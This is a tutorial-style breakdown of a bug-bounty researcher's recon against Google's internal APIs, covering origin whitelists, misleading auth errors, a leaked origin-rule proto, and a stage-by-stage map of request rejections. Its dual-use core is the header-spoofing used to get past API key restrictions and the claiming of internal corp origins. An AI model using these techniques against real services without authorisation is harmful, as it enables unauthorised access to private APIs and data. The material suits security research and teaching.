Step 5: origin whitelists and API key restrictions
What the Origin header is
In the previous step, the Origin header appeared in the FPA request and was described as "which web page the request came from". That deserves a fuller explanation, because it is the centre of this step.
When your browser loads a page and that page's code wants to fetch something from another server, the browser automatically attaches an Origin header to the outgoing request. The value is the scheme, the hostname and optionally the port of the page that made the request, in the form Origin: <scheme>://<hostname>[:<port>]. So a page loaded from https://drive.google.com produces Origin: https://drive.google.com.
The important property is that page code cannot set this header itself. The browser sets it, and the browser refuses to let JavaScript forge it. That is why servers trust it: if a request arrives with Origin: https://drive.google.com, the server can be reasonably confident that the request really came from a page on drive.google.com, not from a page on some attacker's site pretending to be Google.
Think of it as the return address on an envelope. You can write anything you like on the envelope you post, but the postmark is applied by the postal service, not by you. The Origin header is the postmark. A web page cannot fake it, so a server that checks it is checking something meaningful.
Many Google APIs use this to enforce an origin whitelist: a list of origins that are allowed to call the API. If the request's Origin is on the list, it proceeds. If it is not, it is refused. The purpose is to stop a random website from making a logged-in user's browser call Google's internal APIs on the attacker's behalf. If evil.example could make your browser call drivefrontend-pa.clients6.google.com with your cookies, it could read your files. The origin whitelist stops that by refusing any request whose Origin is not a Google page.
The misleading error
Here is the problem. When you send a request with a non-whitelisted origin, the server does not say "your origin is not allowed". It returns this:
{
"error": {
"code": 401,
"details": [
{
"@type": "type.googleapis.com/google.rpc.ErrorInfo",
"domain": "googleapis.com",
"metadata": {
"cookie": "UNKNOWN",
"method": "[redacted].businessprocess.v1.BusinessProcess.GetIssue",
"service": "businessprocess-pa.googleapis.com"
},
"reason": "SESSION_COOKIE_INVALID"
}
],
"message": "Request had invalid authentication credentials. Expected OAuth 2 access token, login cookie or other valid authentication credential. See https://developers.google.com/identity/sign-in/web/devconsole-project.",
"status": "UNAUTHENTICATED"
}
}
Line by line:
"code": 401is the numeric status.401means "unauthenticated", the server's way of saying "I do not know who you are"."details": [opens a list of structured details about the error. Google APIs often include these so that programs can react precisely."@type": "type.googleapis.com/google.rpc.ErrorInfo"says what kind of detail this is. The@typefield is a convention for tagging structured data with its type name, so a program knows how to read the rest."domain": "googleapis.com"says which system produced the error."metadata": {opens a set of key-value pairs giving more context."cookie": "UNKNOWN"is the misleading part. It says the cookie is unknown, which sounds like the cookie is missing or invalid."method": "[redacted].businessprocess.v1.BusinessProcess.GetIssue"names the method that was called. The dotted name is the internal identifier of the method, in the formpackage.service.Method."service": "businessprocess-pa.googleapis.com"names the service the method belongs to."reason": "SESSION_COOKIE_INVALID"is the machine-readable reason. It says the session cookie is invalid."message": "Request had invalid authentication credentials. Expected OAuth 2 access token, login cookie or other valid authentication credential. See https://developers.google.com/identity/sign-in/web/devconsole-project."is the human-readable version, and it points you at documentation about logging in."status": "UNAUTHENTICATED"is the overall status label, matching the 401 code.
Everything about this response says "your login is broken". The reason is SESSION_COOKIE_INVALID, the message talks about invalid credentials, and the status is UNAUTHENTICATED. A reasonable person would conclude that their cookie had expired and go and log in again.
That conclusion would be wrong. This does not mean the cookie is invalid; it means the origin is not whitelisted. The server checks the origin before it checks the cookie, and when the origin fails, it returns the cookie error anyway. The message is a red herring.
Why would a server do that? There are a few plausible reasons, and the report does not state which applies. It might be a deliberate choice to avoid telling an attacker which origins are on the whitelist, since a precise error would let them enumerate it. It might be an accident of how the checks are ordered in the code. Either way, the practical lesson is the same: when you see SESSION_COOKIE_INVALID with metadata.cookie: "UNKNOWN", do not assume the cookie is bad. Try a different origin first.
Reading the whitelist from a proto
The origin whitelist is not documented anywhere. Google does not publish which origins are allowed to call which APIs. So how did the researcher find out what the whitelist looks like?
The answer is a proto leak bug found in the researcher's previous writeup. A proto (short for protocol buffer definition) is a file that describes the shape of structured data: what fields a message has, what type each field is, and what the fields mean. Google's internal systems are built on protos, and the definitions are normally private. The previous bug exposed some of them, and one of the exposed definitions was for gaia_mint.AllowedFirstPartyAuth, the message that describes how first-party authentication origins are validated:
syntax = "proto3";
package gaia_mint;
message AllowedFirstPartyAuth {
enum FirstPartyOriginEnforcementLevel {
UNKNOWN = 0;
MONITORING_ONLY = 1;
PRODUCTION_ORIGINS_ONLY = 2;
ENFORCE_ALL = 3;
}
bool allow_insecure = 1;
bool allow_insecure_pvt = 2;
bool legacy_allow_all_origins = 3;
FirstPartyOriginEnforcementLevel enforcement_level = 4;
repeated AllowedFirstPartyAuthOriginRule allowed_origin_rule = 5;
repeated string skip_origin_check_for_test_user = 6;
repeated string include_named_origin_rule_list = 7;
}
message AllowedFirstPartyAuthOriginRule {
string origin = 1;
bool is_country_domain_prefix = 2;
oneof mutual_exclusive_options {
bool is_sharded_domain = 3;
bool allow_subdomains = 4;
}
}
Line by line:
syntax = "proto3";says this file uses version 3 of the protobuf language. The version matters because the syntax differs between versions.package gaia_mint;puts the definitions in a namespace calledgaia_mint. A namespace is a way of grouping names so that two different parts of a system can both have a message calledConfigwithout clashing.gaia_mintis the part of Google's account system that issues authentication tokens.message AllowedFirstPartyAuth {starts the definition of a message, which is a structured record with named fields. This one describes the settings for first-party authentication on a service.enum FirstPartyOriginEnforcementLevel {starts an enum, a list of named values. This one lists the possible strictness levels for origin checking.UNKNOWN = 0;is the default value, used when nothing has been set. In protobuf, the zero value is always the default, which is why it is namedUNKNOWNrather than something meaningful.MONITORING_ONLY = 1;means the server checks the origin and records whether it would have failed, but does not actually block the request. This is a common way to roll out a new check: watch what would break before you break it.PRODUCTION_ORIGINS_ONLY = 2;means only origins that are considered production origins are allowed. Test and staging origins are refused.ENFORCE_ALL = 3;means the check is fully enforced for every origin.}closes the enum.bool allow_insecure = 1;is a true/false field.boolis the type for true or false. The= 1is the field number, which is how protobuf identifies fields on the wire; it is not a value.allow_insecurepresumably allows origins that use plainhttp://rather than encryptedhttps://.bool allow_insecure_pvt = 2;is a similar flag, withpvtlikely meaning "private".bool legacy_allow_all_origins = 3;is the important one. If true, any origin is accepted. This is the escape hatch that lets an API skip the origin check entirely.FirstPartyOriginEnforcementLevel enforcement_level = 4;is a field of the enum type defined above, saying how strictly the check is applied.repeated AllowedFirstPartyAuthOriginRule allowed_origin_rule = 5;is a list of rules.repeatedmeans the field can appear many times, so it is effectively a list. Each entry is anAllowedFirstPartyAuthOriginRule, defined below.repeated string skip_origin_check_for_test_user = 6;is a list of test users who bypass the origin check. This is a debugging aid that, if misused, could be a way in.repeated string include_named_origin_rule_list = 7;is a list of names of predefined rule lists to include, so that common sets of rules can be shared rather than copied.}closes the message.message AllowedFirstPartyAuthOriginRule {starts the definition of a single origin rule.string origin = 1;is the origin this rule applies to, as text.bool is_country_domain_prefix = 2;says whether the origin is a country-specific prefix, such asgoogle.co.ukversusgoogle.com.oneof mutual_exclusive_options {starts a oneof, a group of fields where at most one can be set at a time. It is a way of saying "choose one of these".bool is_sharded_domain = 3;means the origin is a sharded domain, one of a set of numbered or lettered variants used to spread load.bool allow_subdomains = 4;means subdomains of the origin are also allowed. If the origin isgoogle.com, this would allowdrive.google.com,mail.google.comand so on.}closes the oneof.}closes the message.
This gives us a deeper look into how Google handles origin validation internally. We can see there are different enforcement levels and support for subdomain wildcards. APIs that allow all origins are likely using legacy_allow_all_origins.
Why does this matter for hunting? Because it tells you what to try. If an API rejects your origin, the proto tells you that the server might be in MONITORING_ONLY mode, in which case the rejection is not real and the request might still work. It tells you that allow_subdomains exists, so if https://foo.google.com is allowed, https://bar.foo.google.com might be too. And it tells you that legacy_allow_all_origins exists, so some APIs do not check at all, and you can find them by trying an origin that clearly should not be allowed and seeing whether it works.
API key restrictions
The origin whitelist is one kind of check. There is another, separate kind that applies to the key itself rather than to the request's origin. Some keys carry restrictions: rules about which kinds of client are allowed to use them.
There are four types of restriction: Server, Browser, Android and iOS. The same restrictions are available to anyone on their own GCP project's keys, and they are defined in Google's error_reason proto:
enum ErrorReason {
...
API_KEY_HTTP_REFERRER_BLOCKED = 7;
API_KEY_IP_ADDRESS_BLOCKED = 8;
API_KEY_ANDROID_APP_BLOCKED = 9;
API_KEY_IOS_APP_BLOCKED = 13;
...
}
Line by line:
enum ErrorReason {starts an enum of reasons an API request might be rejected. This is the same kind of structure as the enforcement level enum above....marks that the report shows only part of the enum. There are other reasons before and after the ones shown.API_KEY_HTTP_REFERRER_BLOCKED = 7;is the reason returned when a key restricted to certainReferervalues is used with aRefererthat is not on the list. This is the Browser restriction.API_KEY_IP_ADDRESS_BLOCKED = 8;is the reason returned when a key restricted to certain IP addresses is used from a different address. This is the Server restriction.API_KEY_ANDROID_APP_BLOCKED = 9;is the reason returned when a key restricted to a particular Android app is used without the right app identifier. This is the Android restriction.API_KEY_IOS_APP_BLOCKED = 13;is the reason returned when a key restricted to a particular iOS app is used without the right bundle identifier. This is the iOS restriction....marks that the enum continues.}closes the enum.
The numbers are not sequential because the enum has grown over time and new values were added at the end rather than renumbering existing ones. Renumbering would break compatibility with anything that stored the old numbers.
Each restriction type is checked in a different way, and each one can be satisfied if you know what to send. The report shows an example of each.
Server restrictions
Server restrictions use IP address whitelists, which cannot be bypassed. An IP address is the numeric address of a machine on the internet, like a postal address for a computer. If a key is restricted to a list of IP addresses, the server checks the address the request came from, and if it is not on the list, the request is refused. There is no header you can add to change your IP address, so this restriction is genuinely strong.
The report notes that very few keys actually used this type of restriction. That is good news for a hunter: most keys can be used from anywhere, so the restriction does not get in the way.
Browser restrictions
Browser restrictions require a correct HTTP Referer header. The Referer header is similar to Origin but more specific: it says which page linked to or triggered the request, including the full path, not just the scheme and hostname. It is spelled with one r in the middle because of a historical mistake in the original web standard that was never corrected.
An example request with a Browser-restricted key:
GET /v1/operations HTTP/2
Host: servicemanagement.googleapis.com
X-Goog-Api-Key: [redacted]
Referer: https://vrptest.google.com
Line by line:
GET /v1/operations HTTP/2is the request line.GETis the method,/v1/operationsis the path,HTTP/2is the protocol version.Host: servicemanagement.googleapis.comnames the server.servicemanagementis the Service Management API, the same service used in the discovery document examples earlier.X-Goog-Api-Key: [redacted]is the key. This particular key is restricted to certainReferervalues.Referer: https://vrptest.google.comis the value the key expects. Without it, the request would be refused withAPI_KEY_HTTP_REFERRER_BLOCKED.
Some keys, like this one, allow the wildcard *.google.com. A wildcard is a pattern that matches many values. *.google.com matches vrptest.google.com, drive.google.com, mail.google.com and any other subdomain of google.com. So a key restricted to *.google.com will accept a Referer from any Google subdomain, which is a much wider door than it looks.
The tricky part is that Referer and Origin cannot be mismatched. If you send Referer: https://vrptest.google.com but Origin: https://evil.example, the server will notice that the two do not agree and refuse the request. So an endpoint with an origin whitelist needs a matching Referer and Origin pair before the key will work. You cannot satisfy the key restriction with one value and the origin whitelist with another.
iOS restrictions
iOS restrictions only require the right X-Ios-Bundle-Identifier header. A bundle identifier is the unique name of an iOS app, in reverse-domain form, such as com.google.GoogleMobile. It is the iOS equivalent of an Android package name.
An example request with an iOS-restricted key:
GET /v1/operations HTTP/2
Host: servicemanagement.clients6.google.com
X-Goog-Api-Key: [redacted]
X-Ios-Bundle-Identifier: com.google.GoogleMobile
Line by line:
GET /v1/operations HTTP/2is the request line, the same method and path as the Browser example.Host: servicemanagement.clients6.google.comnames the server. Notice theclients6hostname rather thangoogleapis.com, the same pattern seen in the FPA request earlier.X-Goog-Api-Key: [redacted]is the key, restricted to a particular iOS app.X-Ios-Bundle-Identifier: com.google.GoogleMobileis the bundle identifier the key expects. It claims the request came from the Google Mobile app. Without it, the request would be refused withAPI_KEY_IOS_APP_BLOCKED.
This restriction is easy to satisfy if you know the bundle identifier, because it is just a header. The bundle identifier is not secret: it is visible in the app's metadata and in the App Store listing. So an iOS restriction is a speed bump, not a wall.
Android restrictions
Android restrictions require two matching headers, X-Android-Package (the package name of the Android app) and X-Android-Cert (the SHA-1 signing certificate fingerprint).
A package name is the unique name of an Android app, in reverse-domain form, such as com.google.android.settings.intelligence. A signing certificate fingerprint is a hash of the certificate that the app was signed with. Every Android app is signed before it is installed, and the signature proves the app is genuine. The fingerprint is a short, fixed-length string that identifies the signing certificate without revealing it.
An example request with an Android-restricted key:
GET /v1/operations HTTP/2
Host: servicemanagement.clients6.google.com
X-Goog-Api-Key: [redacted]
X-Android-Package: com.google.android.settings.intelligence
X-Android-Cert: [redacted]
Line by line:
GET /v1/operations HTTP/2is the request line, the same method and path as the other examples.Host: servicemanagement.clients6.google.comnames the server, again aclients6hostname.X-Goog-Api-Key: [redacted]is the key, restricted to a particular Android app.X-Android-Package: com.google.android.settings.intelligenceis the package name the key expects. It claims the request came from the Settings Intelligence app.X-Android-Cert: [redacted]is the SHA-1 fingerprint of the certificate the app was signed with. It is a forty-character hexadecimal string, the standard length of a SHA-1 hash. Without both headers, the request would be refused withAPI_KEY_ANDROID_APP_BLOCKED.
The two headers must match the same app. If you send the package name of one app and the certificate of another, the server will notice the mismatch and refuse. Both values are extractable from the APK, which is why the key collection step in Step 1 also stored them.
During the API key collection process, the researcher made sure to store all these values, and hence incorporated brute-forcing these values into the same program. In other words, when a key was found, the tool also recorded the Referer, bundle identifier, package name and certificate fingerprint that the key expected, so that later probes could attach the right headers automatically. That is why the pipeline could use restricted keys without manual work.
The *.corp.google.com finding
One notable finding was that there are no restrictions on using *.corp.google.com as a first-party authentication origin. corp.google.com is Google's internal domain, the one used for tools that only Googlers can reach. A *.corp.google.com origin is a page on that internal network.
An example request using such an origin:
GET /contentmanager/v1/item_paths HTTP/2
Host: contentmanager.clients6.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://[redacted].google.com
X-Goog-Api-Key: [redacted]
Line by line:
GET /contentmanager/v1/item_paths HTTP/2is the request line.GETis the method,/contentmanager/v1/item_pathsis the path,HTTP/2is the protocol version.Host: contentmanager.clients6.google.comnames the server.contentmanageris the service, and it is on aclients6hostname, the same pattern as the FPA request.Cookie: <redacted>carries the login session, removed here.Authorization: <redacted>carries the FPA value computed from the cookie, also removed.Origin: https://[redacted].google.comclaims the request came from an internal Google page.cocois one of the internal tools whose origin is allowed.X-Goog-Api-Key: [redacted]is the API key.
This API only accepted calls from a small set of origins:
https://[redacted].google.comhttps://[redacted].google.comhttps://[redacted].google.comhttps://[redacted].google.com
as well as staging and dev variants of these, such as https://[redacted].google.com. A staging variant is a test version of a service, and a dev variant is a development version. Both are used internally before changes reach production.
The report draws a rule of thumb from this: an API that only allows *.corp.google.com origins is likely an internal API that was never meant to be publicly exposed, and probably has bugs. The reasoning is straightforward. If the only allowed callers are internal pages, the developers assumed that only internal users would ever call the API. They may not have written the per-resource access checks that a public API would need, because they assumed the origin whitelist was doing that job. But the origin whitelist only checks the Origin header, and the Origin header is just a string. If the server does not verify that the request really came from an internal page, anyone can claim to be one.
This particular API was used for managing support.google.com content and workflows, and had an access control vulnerability that was awarded $9,000. The lesson is the one above: an internal-only origin whitelist is a signal that the API behind it may not have been hardened, and is worth testing.
Why this step matters
By this point the pipeline can do three things: identify itself with a key, prove which user is calling with an FPA header, and satisfy the origin and restriction checks that stand between the request and the application. That is the full set of front-door checks. Everything after this point is about what happens once the request gets through, which is where the bugs live.
The next step maps out exactly what those front-door checks are, in order, so that a program can tell from the response which check rejected a request. That map is the single most useful recon artefact in the whole report, and it is the subject of the next section.
Step 6: the request lifecycle map
Why a map is needed
By now the pipeline can build a request that carries a key, an FPA header, an origin and the right restriction headers. But a request that is correctly built can still be refused, and the refusal can come from any of a dozen different places. Some refusals mean "your key is wrong". Some mean "your key is fine but this API is not enabled for your project". Some mean "your key is fine, the API is enabled, but this method is hidden behind a label you do not have". Some mean "everything is fine, the application itself said no".
To a human, these are all just errors. To a program that wants to test thousands of endpoints, they are completely different situations, and it matters enormously which one you are in. If a request fails because the key is wrong, there is no point trying other payloads with that key. If it fails because the method is hidden behind a label, the method is real and worth coming back to with a different key. If it fails because the application refused, the request reached the code that matters, and that is exactly where you want to be.
So the researcher mapped the whole journey of a request through Google's front end, stage by stage, and recorded what each stage returns when it rejects. That map is the single most useful recon artefact in the report, because it turns a wall of error messages into a set of signposts.
The map
Here is the lifecycle, copied exactly from the report:
[1] Request hits *.googleapis.com
|
v
[2] Method resolution
- 404, Content-Type: text/html; charset=UTF-8 (If method doesn't exist, this is the resp)
|
v
[3] Supplied Content-Type configured for service
- 400, "JSPB is not configured for service 'preprod-nestauthproxyservice-pa.sandbox.googleapis.com'."
|
v
[4] API key valid & enabled for this API
- 400, reason: API_KEY_INVALID
- 403, "API key not valid."
- 403, "API key is expired"
- 403, "Pulse Private API has not been used in project 41614776383..."
- 403, "...doesn't allow unregistered callers..."
- 403, "...missing a valid API key"
|
| ~50% of requests to staging environments have [4] <-> [5] swapped
v
[5] API key restrictions
- 403, "Requests from this Android client application <empty> are blocked."
- 403, "Requests from this iOS client application <empty> are blocked."
- 403, "Requests from referer https://console.cloud.google.com are blocked."
|
v
[6] Authentication credential validity
- 401, "Request had invalid authentication credentials. Expected OAuth 2 access token, login cookie or other valid authentication credential. See https://developers.google.com/identity/sign-in/web/devconsole-project."
- 401, reason: ACCESS_TOKEN_SCOPE_INSUFFICIENT
|
v
[7] First-party auth origin whitelisted (only when FPA cookies sent)
- 401, reason: SESSION_COOKIE_INVALID, metadata.cookie: "UNKNOWN"
|
v
[8] API key project == bearer project (only when both key + bearer sent)
- 400, "The API Key and the authentication credential are from different projects."
|
v
[9] Visibility label
- 404, Content-Type: application/json, "Method not found."
|
v
[10] Method blocked for caller's GCP project
- 403, "Requests to this API preprod-nestauthproxyservice-pa.sandbox.googleapis.com method nest.security.authproxy.v1.NestSecurityAuthproxyService.LookUpByNestId are blocked."
|
v
...
|
v
[N] Request processed by application server
The diagram is read top to bottom. Each numbered box is a checkpoint. The request arrives at the top, passes through each checkpoint in turn, and either gets rejected with the error listed under that checkpoint, or moves on to the next one. If it survives all of them, it reaches the application server at the bottom, which is the code that actually does the work.
The arrows between boxes are drawn with | and v characters, which is just a way of drawing a downward arrow in plain text. The ... between [10] and [N] means there are more checkpoints in between that the report does not list. [N] stands for "the last one", whatever number that turns out to be.
Now each stage in plain words.
[1] Request hits *.googleapis.com
This is not a check, it is the starting point. The request arrives at Google's API front end, the layer of servers that sits in front of every Google API. The *.googleapis.com notation means any hostname ending in googleapis.com. This is the front door, and everything below happens behind it, before the request ever reaches the service that will handle it.
[2] Method resolution
The first real check is whether the method exists at all. A method is one specific thing an API can do, at one specific path. If you ask for a path that no method uses, the front end has nothing to route your request to, and it says so.
The error is 404 with Content-Type: text/html; charset=UTF-8. The report's note in brackets explains it: if the method does not exist, this is the response. A 404 means "not found", and the text/html content type means the body is an ordinary web page, not structured data.
This is the first signpost, and it is easy to misread. A 404 here means the method genuinely does not exist. Later in the map there is another 404 that means something completely different, and telling them apart is one of the most useful skills in this whole article. The difference is the content type: HTML here, JSON later.
[3] Supplied Content-Type configured for service
The next check is whether the service understands the format of the body you sent. The Content-Type header tells the server what kind of data is in the request body, for example JSON or protobuf. Each service is configured to accept certain content types, and if you send one it is not configured for, the request is rejected before anything else happens.
The error is 400 with the message JSPB is not configured for service 'preprod-nestauthproxyservice-pa.sandbox.googleapis.com'. A 400 means "bad request". JSPB is Google's internal name for JSON-encoded protobuf, the application/json+protobuf format seen in the FPA request earlier. The message says that this particular service, preprod-nestauthproxyservice-pa.sandbox.googleapis.com, is not set up to accept that format.
Why does this check exist so early? Because parsing a body in the wrong format could fail in confusing ways deeper in the stack. Rejecting it at the front gives a clear error instead of a mysterious crash. For a hunter, this error means you sent the wrong content type, not that the method is missing or the key is bad.
[4] API key valid and enabled for this API
Now the key is checked. This stage asks two questions at once: is the key a real key, and is the API you are calling actually enabled for the key's project? A key can be perfectly valid and still not have a particular API turned on, because APIs have to be enabled per project.
The report lists six different errors from this stage:
400, reason: API_KEY_INVALIDmeans the key is not a valid key at all. It might be mistyped, revoked, or simply made up.403, "API key not valid."is the same situation with a different wording.403means "forbidden", the server understood you and is refusing.403, "API key is expired"means the key was valid once but has passed its expiry date.403, "Pulse Private API has not been used in project 41614776383..."means the key is valid, but the API you are calling has never been enabled for the project that owns the key. The message names the project number, which is the same trick used in Step 1 to find out which project a key belongs to.403, "...doesn't allow unregistered callers..."means the API requires a key and you did not send one, or the one you sent was not recognised as belonging to any project.403, "...missing a valid API key"is the same idea again: no usable key was supplied.
The ... in several of these messages marks text the report has shortened. The full messages would contain more detail, but the part shown is enough to recognise the stage.
For a hunter, this stage is the most important one to get past. If a request dies here, nothing else about it matters: the key is wrong or the API is not enabled. If a request gets past this stage, the key works for this API, and everything after this point is about the request itself rather than the key.
[5] API key restrictions
If the key is valid and the API is enabled, the next check is whether the key's restrictions allow this particular kind of client. This is the Browser, Android and iOS restriction machinery explained in the previous step.
The report lists three errors:
403, "Requests from this Android client application <empty> are blocked."means the key is restricted to a particular Android app, and the request did not carry the rightX-Android-PackageandX-Android-Certheaders. The<empty>shows that the server saw no app identifier at all.403, "Requests from this iOS client application <empty> are blocked."is the same for an iOS-restricted key without the rightX-Ios-Bundle-Identifier.403, "Requests from referer https://console.cloud.google.com are blocked."means the key is restricted to certainReferervalues, and the one sent is not on the list. Notice that the message echoes back theRefereryou sent, which is useful: it tells you exactly what the server saw.
For a hunter, this stage tells you that the key is real and the API is enabled, but you need to attach the right restriction headers. That is good news, because those headers are easy to supply once you know them, and the key collection step stored them alongside each key.
The staging swap
Between [4] and [5] the diagram carries a note: ~50% of requests to staging environments have [4] <-> [5] swapped.
A staging environment is a test copy of a service, used to try changes before they reach the real, production service. The note says that on staging hosts, roughly half the time, the order of these two checks is reversed: the key restrictions are checked before the key's validity and enablement.
Why does this matter? Because it changes which error you see. On a production host, a request with a bad key and a missing restriction header fails at [4] with a key error. On a staging host with the checks swapped, the same request fails at [5] with a restriction error, even though the key is also bad. If you are classifying responses by which stage rejected them, a staging host will mislead you unless you account for the swap.
It also matters for a different reason. If the restriction check comes first, then a request that passes the restriction check but has a key that is not enabled for the API will fail at [5] rather than [4], and the error will look like a key problem when it is really an enablement problem. The swap makes staging hosts fail differently, which is both a nuisance and a clue: if a host behaves as though the checks are in the other order, it is probably a staging host.
[6] Authentication credential validity
Now the request has a working key. The next question is whether the login credential, if one was sent, is valid. This is the bearer token or FPA value that proves which user is calling.
The report lists two errors:
401, "Request had invalid authentication credentials. See https://developers.google.com/identity/sign-in/web/devconsole-project."means the credential is missing, malformed or expired.401means "unauthenticated", the server does not know who you are.401, reason: ACCESS_TOKEN_SCOPE_INSUFFICIENTmeans the credential is valid but does not have the right scope. A scope is a permission attached to a token, saying what it is allowed to do. A token issued for reading your calendar might not be allowed to read your mail, even though it is a valid token for the same user.
For a hunter, this stage means the key is fine but the login is not. Either you did not send a credential, or the one you sent is wrong, or it does not have the permission the method needs.
[7] First-party auth origin whitelisted
This stage only applies when FPA cookies were sent. It is the origin whitelist from the previous step, and the error is the misleading one already discussed:
401, reason: SESSION_COOKIE_INVALID, metadata.cookie: "UNKNOWN"
As explained earlier, this does not mean the cookie is invalid. It means the Origin header is not on the whitelist. The server checks the origin here, after it has checked the credential, and returns a cookie error when the origin fails.
For a hunter, this is the stage where you try a different origin. If you see this error, the key and the credential are both fine, and the only thing standing between you and the application is the Origin header.
[8] API key project equals bearer project
This stage only applies when both a key and a bearer token were sent. It is the mismatch from Step 4:
400, "The API Key and the authentication credential are from different projects."
The server compares the project that owns the key with the project that issued the bearer token, and refuses if they differ. This is why bearer tokens are a dead end for this pipeline: you cannot mix a key from one project with a token from another.
For a hunter, this stage means you are using the wrong kind of credential. FPA avoids it entirely, because FPA values are not tied to a project in the same way.
[9] Visibility label
Now the request has passed every credential check. The next question is whether the caller's project holds the visibility label that the method requires.
The error is 404, Content-Type: application/json, "Method not found." This is the second 404 in the map, and it is the one that is easy to misread. It looks exactly like the 404 from stage [2], which means the method does not exist. But the content type is different: application/json here, text/html at stage [2]. And the meaning is different: the method exists, but the project tied to your key does not hold the label that would let it see or call the method.
For a hunter, this is the most valuable signpost in the whole map. A JSON 404 Method not found. is not a dead end. It is a live method that you cannot reach yet, and the way to reach it is to try a different key, one whose project holds the right label. This is exactly why the multi-key probing described later exists.
[10] Method blocked for the caller's GCP project
Even if the project holds the label, a specific method can be blocked for a specific project. This is a per-project block, separate from the label.
The error is 403, "Requests to this API preprod-nestauthproxyservice-pa.sandbox.googleapis.com method nest.security.authproxy.v1.NestSecurityAuthproxyService.LookUpByNestId are blocked." The message names the API, the method and the fact that it is blocked. 403 means "forbidden".
For a hunter, this stage means the method exists and your key can see it, but this particular project is not allowed to call it. Trying a different key from a different project might work.
[N] Request processed by application server
If the request survives every checkpoint, it reaches the application server. This is the code that actually implements the method: it reads the parameters, looks up the data, applies whatever access checks the application itself has, and returns a response.
This is where the bugs live. Every checkpoint above [N] is a gate on reaching the application. None of them asks whether the caller is allowed to read or modify the specific resource the method touches. That question is left to the application, and in the bugs in this report, the application either did not ask it or answered it wrongly.
Why the map is useful
The map turns a confusing pile of error messages into a decision tree. When a probe comes back with an error, the map tells you which stage rejected it, and therefore what to change:
- If it died at
[2], the method does not exist. Stop. - If it died at
[3], fix the content type. - If it died at
[4], the key is wrong or the API is not enabled. Try a different key. - If it died at
[5], attach the right restriction headers. - If it died at
[6], fix the credential. - If it died at
[7], try a different origin. - If it died at
[8], stop mixing keys and bearer tokens. - If it died at
[9], try a key whose project holds the label. - If it died at
[10], try a key from a different project. - If it got past
[4], the key works for this API, and the request is worth pursuing.
That last point is the key insight. The researcher's program classified each response by which stage rejected it, and treated "passed [4]" as the important milestone. A request that gets past [4] has a working key for that API, which means the rest of the pipeline can actually test the method. A request that dies at [4] cannot be tested with that key, no matter what payload you send.
The enablement matrix
A program was built around this map. For each (API key, API) pair it sent a probe request to a known method and classified the response by which step rejected it, or "passed" if it made it past step [4].
An (API key, API) pair is one combination: this key, against this API. If you have a hundred keys and a thousand APIs, that is a hundred thousand pairs, and each one needs a probe. The probe is a single request to a method that is known to exist on that API, and the response tells you which stage rejected it.
Running this across every key against every API produced an enablement matrix: a table of which keys worked for which APIs, along with the working origin headers and key-restriction headers required for each.
An enablement matrix is exactly what it sounds like. Rows are keys, columns are APIs, and each cell says whether that key can reach that API, and if so, what headers it needs. With that table, the pipeline no longer has to guess. When it wants to test a method on a particular API, it looks up which keys work for that API, picks one, attaches the headers the matrix says are needed, and sends the request. If no key works, the method is skipped rather than probed uselessly.
This is the step that turns a pile of keys and a pile of APIs into something usable. Without it, every probe would be a gamble: maybe the key works, maybe it does not, and you would waste most of your requests on keys that were never going to work. With it, every probe is aimed at a combination that is known to get through the front door, so the response you get back is about the application, not about your credentials.
It also explains why the pipeline could scale. The matrix is computed once per key and API, and then reused for every method on that API. The expensive part, finding out which keys work where, is done once. The cheap part, probing methods, is done many times. That is the same principle as checking which doors a key opens before you start trying every room in the building.
What comes next
With an enablement matrix in hand, the pipeline knows which keys can reach which APIs and what headers each combination needs. The next problem is different: even with a working key and the right headers, you still have to construct a valid request for each method, with the right parameters and the right body. Doing that by hand for thousands of methods is impossible, so the researcher built a tool to do it. That tool is the subject of the next step.
Step 7: building a custom API Explorer
What Google's public API Explorer is
Google has a tool called the API Explorer, at https://developers.google.com/apis-explorer. It is a web page where you pick an API, pick a method, fill in the parameters in a form, press a button, and see the response. Behind the scenes it uses discovery documents, the same machine-readable menus described earlier, to know what methods exist and what parameters each one takes. It is extremely useful for testing public APIs, because it saves you from hand-writing requests and getting the format wrong.
For a beginner, the easiest way to picture it is a form generator. You tell it which API you are interested in, and it reads that API's discovery document and draws a form for every method. You type values into the boxes, press Execute, and it sends the request and shows you the answer. It is the same idea as the custom tool the researcher later built, except that Google's version is limited in ways that made it useless for this project.
Why it could not be used
Two limitations ruled it out.
The first is that the public API Explorer only works with public APIs, not private or internal ones. That is the whole point of the project: the interesting methods are the internal ones, the ones hidden behind visibility labels or never documented publicly at all. If the tool cannot load an internal discovery document, it cannot help you test internal methods.
The second is more subtle and more important. The explorer pages are generated server-side, so you cannot just swap in a different discovery document as the client. Server-side means the page you see is assembled on Google's server before it is sent to your browser. The server reads the discovery document, builds the HTML form, and sends the finished page. Your browser receives a page that is already shaped around one specific API. There is no point in the process where your browser holds the discovery document and could be told to use a different one. To use the explorer with an internal API, you would have to convince Google's server to generate a page for that API, which is exactly what you cannot do.
A comparison helps. Imagine a printed order form for one specific restaurant. You can fill it in and hand it over, but you cannot cross out the restaurant name and write a different one, because the form was printed for that restaurant and the kitchen will not accept it. A blank form that you fill in yourself would work for any restaurant. The researcher needed the blank form.
What was built instead
Given those limits, and the need to integrate FPA v2, the researcher built a custom API Explorer. It took about a week. The result parses any discovery document client-side and executes requests with FPA using a purpose-built library.
Client-side is the opposite of server-side: the work happens in your own browser, using the discovery document your browser has downloaded. The tool reads the document itself, works out what methods and parameters it describes, and draws its own interface. Because the document is just a file, you can feed it any document you like, including internal ones you obtained through the visibility-label scanning described earlier. Nothing on Google's side needs to cooperate.
The frontend automatically constructs valid request and response JSON from the structs defined in the discovery document, so the UI lets you quickly test any payload against an API and see how it responds. A struct here means the defined shape of a piece of data: which fields it has, what type each field is, and which are required. The discovery document contains these definitions, so the tool can build a correctly shaped request body without a human typing it out. That matters because Google's APIs use strict type checking, as the system prompt later puts it, so a body with the wrong shape is rejected before it reaches anything interesting.
The tool also sends FPA requests, using the token construction reverse-engineered from the gapix sourcemaps. That is the part Google's own explorer could never do, because it has no way to attach a first-party authentication header computed from your own session cookie.
The bug it found before the AI was involved
The tool paid for itself before the AI was involved. One endpoint it exposed was an access control bug leaking assignedTams (technology account managers), awarded $6,000.
assignedTams are the technology account managers assigned to an account: the named Google staff who look after a particular customer or partner. That is business information about who is responsible for whom, and it is not something an outsider should be able to pull out of an API. The bug was an access control failure of the same family as the ones the AI later found: the endpoint returned data it should have refused.
This detail is worth pausing on, because it shows the order of events. The custom explorer came first, and it was already finding real bugs by hand. The AI was added afterwards, to do at scale what the researcher was doing manually. The explorer is the foundation; the AI is the worker that walks through it.
